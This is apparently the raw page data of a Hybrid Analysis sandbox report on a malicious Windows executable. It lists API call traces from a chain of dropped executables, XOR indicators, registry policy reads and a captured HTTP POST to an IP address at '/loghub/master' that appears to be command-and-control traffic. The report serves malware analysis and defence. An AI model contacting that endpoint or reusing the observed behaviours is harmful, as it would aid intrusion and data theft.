26:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js","/_next/static/chunks/1w1axrg6kzses.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/1kn_tf3p-ubex.js","/_next/static/chunks/1wq095nwqbaw1.js"],"SampleDetailWrapper"] 7c:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/3eaw1sz4hhkwg.js","/_next/static/chunks/0poobxhsa58tt.js","/_next/static/chunks/3utyn4akhmarc.js"],"IconMark"] 25:T483,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Malware Sample 6b3331a3125b… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 6b3331a3125b…. Malware family: Malware. Threat score 100/100. 6/28 AV engines flagged this file. 22 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/6b3331a3125bad81b752ee094425bdcf799a382b7285bf3295d283de509affc7","keywords":["Malicious","Malware","malware analysis","sandbox report","threat intelligence","6b3331a3125bad81b752ee094425bdcf799a382b7285bf3295d283de509affc7"],"about":{"@type":"SoftwareApplication","name":"3b567ed788b8d07ec909035f6147abd3.exe","applicationCategory":["peexe","executable"],"identifier":"6b3331a3125bad81b752ee094425bdcf799a382b7285bf3295d283de509affc7","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Malware","antivirusDetections":{"malicious":6,"total":28},"behavioralIndicators":{"malicious":22,"suspicious":27},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}27:T5d5,"3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917624" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917632" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917660" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917872" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917688" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917844" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917856" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "3537824" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917740" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917836" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "3537820" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917704" - (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "FindResourceA" with parameter "8917712" - (UID: 00000000-00000148)28:Tb88,"3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964224'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964080'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964240'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964128'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964096'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964144'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964192'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964064'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964176'}" (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '8964208'}" (UID: 00000000-00000148) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352832'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352688'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352848'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352736'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352704'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352752'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352800'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352672'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352784'}" (UID: 00000000-00005696) "RN3xu93.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '17352816'}" (UID: 00000000-00005696) "dj4qK45.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15648896'}" (UID: 00000000-00004444) "dj4qK45.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15648752'}" (UID: 00000000-00004444) "dj4qK45.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '15648912'}" (UID: 00000000-00004444)29:T89a,"3b567ed788b8d07ec909035f6147abd3.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00000148) "RN3xu93.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005696) "RN3xu93.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00005696) "dj4qK45.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00004444) "dj4qK45.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00004444) "dj4qK45.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00004444) "EL8Vj91.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00002900) "EL8Vj91.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00002900) "EL8Vj91.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00002900) "EL8Vj91.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00002900) "Wg1zV34.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00005896) "Wg1zV34.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00005896) "Wg1zV34.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00005896) "Wg1zV34.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00005896) "Wg1zV34.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00005896) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP000.TMP (UID: 00000000-00007688) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP001.TMP (UID: 00000000-00007688) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP002.TMP (UID: 00000000-00007688) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP003.TMP (UID: 00000000-00007688) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP004.TMP (UID: 00000000-00007688) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP005.TMP (UID: 00000000-00007688) "kH1Br77.exe" called "RemoveDirectoryA" with parameter %TEMP%\IXP005.TMP\ (UID: 00000000-00007688)2a:T4d3,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "6Ju7HU6.exe.1773123244") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")2b:T8be,Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; File: "3b567ed788b8d07ec909035f6147abd3.exe") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00000148.00000001.68883.02B70000.00000004.mdmp, 00000000-00000148.00000002.70803.02B70000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00000148.00000002.70803.0088A000.00000002.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "" (Indicator: "RegSetValue"; Source: "00000000-00002900.00000000.67105.00720000.00000004.mdmp, 00000000-00002900.00000002.70945.00720000.00000004.mdmp") Found reference to API "RegSetValueExA" (Indicator: "RegSetValue"; Source: "00000000-00002900.00000000.67105.00C1A000.00000002.mdmp")2c:T137e,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-42-0088202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00000148-15740-42-0088202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-42-0088202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-73-008817EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-73-008817EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-22-0088681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-22-0088681F Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00000148-15740-31-00882390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00000148-15740-31-00882390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-71-00882CAA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-71-00882CAA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-65-008853A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-65-008853A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-15-00881F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-15-00881F90 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-37-00883FEF Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-37-00883FEF Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-62-008855A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-62-008855A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-40-00882267 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-40-00882267 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-52-00884EFD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-52-00884EFD Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-29-008852B6 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-29-008852B6 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-60-0088597D Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-60-0088597D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-77-00882773 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-77-00882773 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-72-008818A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-72-008818A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00000148-15740-26-008824E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00000148-15740-26-008824E0 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00000148-15740-36-00883BA2 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00000148-15740-36-00883BA2 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-15-00EE1F90 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-15-00EE1F90 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00004444-21032-31-00EE2390 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00004444-21032-31-00EE2390 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-26-00EE24E0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-26-00EE24E0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-65-00EE53A1 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-65-00EE53A1 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-73-00EE17EE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-73-00EE17EE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-72-00EE18A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-72-00EE18A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-42-00EE202A Assembly shows XOR instruction xor eax 01h in Stream UID: 00000000-00004444-21032-42-00EE202A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-42-00EE202A Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00004444-21032-22-00EE681F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00004444-21032-22-00EE681F2d:Tabe,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "MSIE" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "InfoPath" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Host" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "73Connection" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=BA4AtKbxKjwZD44b5TgoContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache"2e:T252d,"3b567ed788b8d07ec909035f6147abd3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000148) "3b567ed788b8d07ec909035f6147abd3.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00000148) "RN3xu93.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005696) "RN3xu93.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005696) "dj4qK45.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004444) "dj4qK45.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004444) "EL8Vj91.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002900) "EL8Vj91.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00002900) "Wg1zV34.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005896) "Wg1zV34.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005896) "kH1Br77.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007688) "kH1Br77.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007688) "1Of31Ad0.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005504) "1Of31Ad0.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005504) "AppLaunch.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00006544)2f:Ta5a,"3b567ed788b8d07ec909035f6147abd3.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b0c7348a3b9020000000050fa3500b4440c7348a3b902a8fa350065250c7348a3b90201000000cf68818f000000000ea2363900000000030000005cfb35000a000000f0000000a0fb3500d8fa3500590000000300000060fa350068fa350074fd3500e0560c732782bafcfeffffffb4fb350047f20a730ea2363900000000 (UID: 00000000-00000148) "RN3xu93.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b0c7348bad8000000000000f59800b4440c7348bad80058f5980065250c7348bad80001000000d73d9ea800000000ad1b952a00000000030000000cf698000a000000181d000050f6980088f598005d0000000300000010f5980018f5980024f89800e0560c73cfd808dbfeffffff64f6980047f20a73ad1b952a00000000 (UID: 00000000-00005696) "dj4qK45.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f992005c7b0c7360acdf000000000040f99200b4440c7360acdf0098f9920065250c7360acdf0001000000bc6c784500000000549f032d00000000030000004cfa92000a0000004811000090fa9200c8f992005b0000000300000050f9920058f9920060fc9200e0560c736485e436feffffffa0fa920047f20a73549f032d (UID: 00000000-00004444) "EL8Vj91.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b0c73d0ae74000000000080f41700b4440c73d0ae7400d8f4170065250c73d0ae7400010000005e2e3794000000007d26c23600000000030000008cf517000a000000640b0000d0f5170008f517005b0000000300000090f4170098f41700a4f71700e0560c73c6ca2ee7feffffffe4f5170047f20a737d26c23600000000 (UID: 00000000-00002900) "Wg1zV34.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fbbf005c7b0c7388ae07010000000098fbbf00b4440c7388ae0701f0fbbf0065250c7388ae070101000000b4568b32000000003accbf300000000003000000a4fcbf000a000000e80e0000e8fcbf0020fcbf005d00000003000000a8fbbf00b0fbbf00b8febf00e0560c7304bd3a41fefffffff8fcbf0047f20a733accbf30 (UID: 00000000-00005896) "kH1Br77.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f57f005c7b0c7348ba000300000000b0f57f00b4440c7348ba000308f67f0065250c7348ba000301000000610f21f700000000513042290000000003000000bcf67f000a0000001016000000f77f0038f67f005b00000003000000c0f57f00c8f57f00d0f87f00e0560c7329e95084feffffff10f77f0047f20a7351304229 (UID: 00000000-00007688) "AppLaunch.exe" called "GetVersionExA" with parameter 940000000600000003000000802500000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00006544)30:T7df,"3b567ed788b8d07ec909035f6147abd3.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3b567ed788b8d07ec909035f6147abd3.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "RN3xu93.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "RN3xu93.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "dj4qK45.exe" (Path: 